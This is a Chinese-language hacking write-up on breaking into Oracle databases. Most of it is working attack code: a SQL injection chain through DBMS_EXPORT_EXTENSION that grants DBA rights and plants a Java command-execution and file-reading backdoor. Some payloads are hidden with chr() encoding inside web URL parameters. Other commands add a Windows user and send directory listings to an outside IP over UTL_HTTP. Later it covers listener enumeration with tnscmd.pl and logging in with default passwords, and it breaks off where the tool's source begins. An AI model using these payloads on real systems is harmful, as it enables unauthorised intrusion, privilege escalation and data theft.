SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' create or replace function Linx_Query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual; 如果有权限,以下语句应该运行正常 select sys.linx_query('select 1 from dual') from dual; 不然的话运行: select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual 2.创建包 SELECT sys.Linx_Query('declare pragma autonomous_transaction; begin execute immediate '' create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader( new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual 3.创建函数 SELECT sys.Linx_Query('declare pragma autonomous_transaction; begin execute immediate '' create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual 4.给权限 给用户SYSTEM执行权限: SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual 5.执行函数 select RunCMD2('cmd /c dir') from dual ================== ================================ 以下是无 " ' " 版: 以下是各个步骤: 1.创建包 通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件: 因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的: /xxx.jsp?id=1 and chr(49)<>chr(50)||( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82), chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)|| chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)|| chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)|| chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)|| chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)|| chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)|| chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)|| chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)|| chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)|| chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)|| chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)|| chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)|| chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)|| chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)|| chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)|| chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)|| chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)|| chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)|| chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)|| chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)|| chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)|| chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)|| chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)|| chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)|| chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)|| chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)|| chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)|| chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45) ,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual ) ------------------------------ 2.赋Java权限 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82), chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)|| chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)|| chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)|| chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)|| chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)|| chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)|| chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)|| chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)|| chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45) ,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual readfile函数的ascii版就不写了,见谅。 3.创建函数 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82), chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)|| chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)|| chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)|| chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)|| chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)|| chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)|| chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)|| chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)|| chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)|| chr(59)||chr(45)||chr(45) ,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 4.赋public执行函数的权限 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82), chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)|| chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)|| chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)|| chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)|| chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)|| chr(59)||chr(45)||chr(45) ,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 5.执行命令: /xxx.jsp?id=1 and chr(49)<>chr(32)||( select sys.LinxRunCMD('cmd /c net user linx /add') from dual ) 即 /xxx.jsp?id=1 and chr(49)<>chr(32)||( select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual ) ///////////////////// 再加一个函数openDir(): 在oracle上创建Java包LinxUtil,里面三个函数,runCMD用于执行系统命令,readFile用于读取文件,openDir用于浏览目录: /xxx.jsp?id=1 and '1'<>'a'||( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object { public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}} public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}} public static String openDir(String dir) {String str = "";File file = new File(dir); String[] filelist = file.list(); for (int i = 0; i < filelist.length; i++) str += filelist + (char)0xa;return str;}}'''';END;'';END;--','SYS',0,'1',0) from dual ) select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' create or replace function LinxOpenDir(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.openDir(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxOpenDir to public'''';END;'';END;--','SYS',0,'1',0) from dual select sys.LinxOpenDir('/') from dual SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxOpenDir:'||REPLACE(REPLACE(sys.LinxOpenDir('/'),' ','%20'),chr(10),'%0A')) FROM dual |
入侵oracle数据库的一些心得
软件作者: pt007[at]vip.sina.com版权所有,转载请注明版权
信息来源: I.S.T.O信息安全团队(http://blog.csdn.net/I_S_T_O)
一、先看下面的一个贴子:
Oracle数据库是现在很流行的数据库系统,很多大型网站都采用Oracle,它之所以倍受用户喜爱是因为它有以下突出的特点:
1、支持大数据库、多用户的高性能的事务处理。Oracle支持最大数据库,其大小可到几百千兆,可充分利用硬件设备。支持大量用户同时在同一数据上执行各种数据应用,并使数据争用最小,保证数据一致性。系统维护具有高的性能,Oracle每天可连续24小时工作,正常的系统操作(后备或个别计算机系统故障)不会中断数据库的使用。可控制数据库数据的可用性,可在数据库级或在子数据库级上控制。
2、Oracle遵守数据存取语言、操作系统、用户接口和网络通信协议的工业标准。所以它是一个开放系统,保护了用户的投资。美国标准化和技术研究所(NIST)对Oracle7 SERVER进行检验,100%地与ANSI/ISO SQL89标准的二级相兼容。
3、实施安全性控制和完整性控制。Oracle为限制各监控数据存取提供系统可靠的安全性。Oracle实施数据完整性,为可接受的数据指定标准。
4、支持分布式数据库和分布处理。Oracle为了充分利用计算机系统和网络,允许将处理分为数据库服务器和客户应用程序,所有共享的数据管理由数据库管理系统的计算机处理,而运行数据库应用的工作站集中于解释和显示数据。通过网络连接的计算机环境,Oracle将存放在多台计算机上的数据组合成一个逻辑数据库,可被全部网络用户存取。分布式系统像集中式数据库一样具有透明性和数据一致性。
具有可移植性、可兼容性和可连接性。由于Oracle软件可在许多不同的操作系统上运行,以致Oracle上所开发的应用可移植到任何操作系统,只需很少修改或不需修改。Oracle软件同工业标准相兼容,包括很多工业标准的操作系统,所开发应用系统可在任何操作系统上运行。可连接性是指ORALCE允许不同类型的计算机和操作系统通过网络可共享信息。
虽然Oracle数据库具有很高的安全性,但是如果我们在配置的时候不注意安全意识,那么也是很危险的。也就是说,安全最主要的还是要靠人自己,而不能过分依赖软件来实现。
我们知道,在mssql中,安装完成后默认有个sa的登陆密码为空,如果不更改就会产生安全漏洞。那么oracle呢?也有的。为了安装和调试的方便,Oracle数据库中的两个具有DBA权限的用户Sys和System的缺省密码是manager。笔者发现很多国内网站的Oracle数据库没有更改这两个用户的密码,其中也包括很多大型的电子商务网站, 我们就可以利用这个缺省密码去找我们感兴趣的东西。如何实现,看下面的文章吧。
进行测试前我们先来了解一些相关的知识,我们连接一个Oracle数据库的时候,需要知道它的service_name或者是Sid值,就象mssql一样,需要知道数据库名。那如何去知道呢,猜?呵呵,显然是不行的。这里我们先讲讲oracle的TNS listener,它位于数据库Client和数据库Server之间,默认监听1521端口,这个监听端口是可以更改的。但是如果你用一个tcp的session去连接1521端口的话,oracle将不会返回它的banner,如果你输入一些东西的话,它甚至有可能把你踢出去。这里我们就需要用tnscmd.pl这个perl程序了,它可以查询远程oracle数据库是否开启(也就是ping了),查询版本,以及查询它的服务名,服务状态和数据库服务名,而且正确率很高。
理论方面的讲完了,如果还有什么不懂的可以去查找相关资料。现在开始测试吧,需要的工具有:ActivePerl,Oracle客户端,Superscan或者是其它扫描端口的软件, Tnscmd.pl。
我们先用Superscan扫描开放了端口1521的主机,假设其IP是xx.xx.110.110,这样目标已经有了。然后我们要做的就是用Tnscmd.pl来查询远程数据库的服务名了,Tnscmd.pl的用法如下:
C:perlbin>perl tnscmd.pl
usage: tnscmd.pl [command] -h hostname
where 'command' is something like ping, version, status, etc.
(default is ping)
[-p port] - alternate TCP port to use (default is 1521)
[--logfile logfile] - write raw packets to specified logfile
[--indent] - indent & outdent on parens
[--rawcmd command] - build your own CONNECT_DATA string
[--cmdsize bytes] - fake TNS command size (reveals packet leakage)
我们下面用的只有简单的几个命令,其他的命令也很好用,一起去发掘吧。
然后我们就这样来:
C:perlbin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 –indent
sending (CONNECT_DATA=(COMMAND=services)) to xx.xx.110.110:1521
writing 91 bytes
reading
._.......6.........?. ..........
DESCRIPTION=
TMP=
VSNNUM=135286784
ERR=0
SERVICES_EXIST=1
.Q........
SERVICE=
SERVICE_NAME=ORCL
INSTANCE=
INSTANCE_NAME=ORCL
NUM=1
INSTANCE_CLASS=ORACLE
HANDLER=
HANDLER_DISPLAY=DEDICATED SERVER
STA=ready
HANDLER_INFO=LOCAL SERVER
HANDLER_MAXLOAD=0
HANDLER_LOAD=0
ESTABLISHED=447278
REFUSED=0
HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227
HANDLER_NAME=DEDICATED
ADDRESS=
PROTOCOL=beq
PROGRAM=/home/oracle/bin/oracle
ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL'
ARGV0=oracleORCL
ARGS='
LOCAL=NO
'
.........@
从上面得到的信息我们可以看出数据库的服务名为ORCL,然后我们就可以通过sqlplus工具来远程连上它了,用户名和密码我们用默认的system/manager或者是sys/manager,其他的如mdsys/mdsys,ctxsys/ctxsys等,这个默认用户和密码是随版本的不同而改变的。如下:
C:oracleora90BIN>sqlplus /nolog
SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 23 11:36:59 2002
(c) Copyright 2001 Oracle Corporation. All rights reserved.
SQL>connect system/manager@
(description=(address_list=(address=(protocol=tcp)
(host=xx.xx.110.110)(port=1521)))
(connect_data=(SERVICE_NAME=ORCL)));
如果密码正确,那么就会提示connected,如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。当然如果对方已经把默认密码改了,那我们只能换别的目标了。但是我发现很多都是不改的,这个就是安全意识的问题了。
二、上面提到的两个小软件:
tnscmd.pl
#!/usr/bin/perl
#
# tnscmd - a lame tool to prod the oracle tnslsnr process (1521/tcp)
# tested under Linux x86 & OpenBSD Sparc + perl5
#
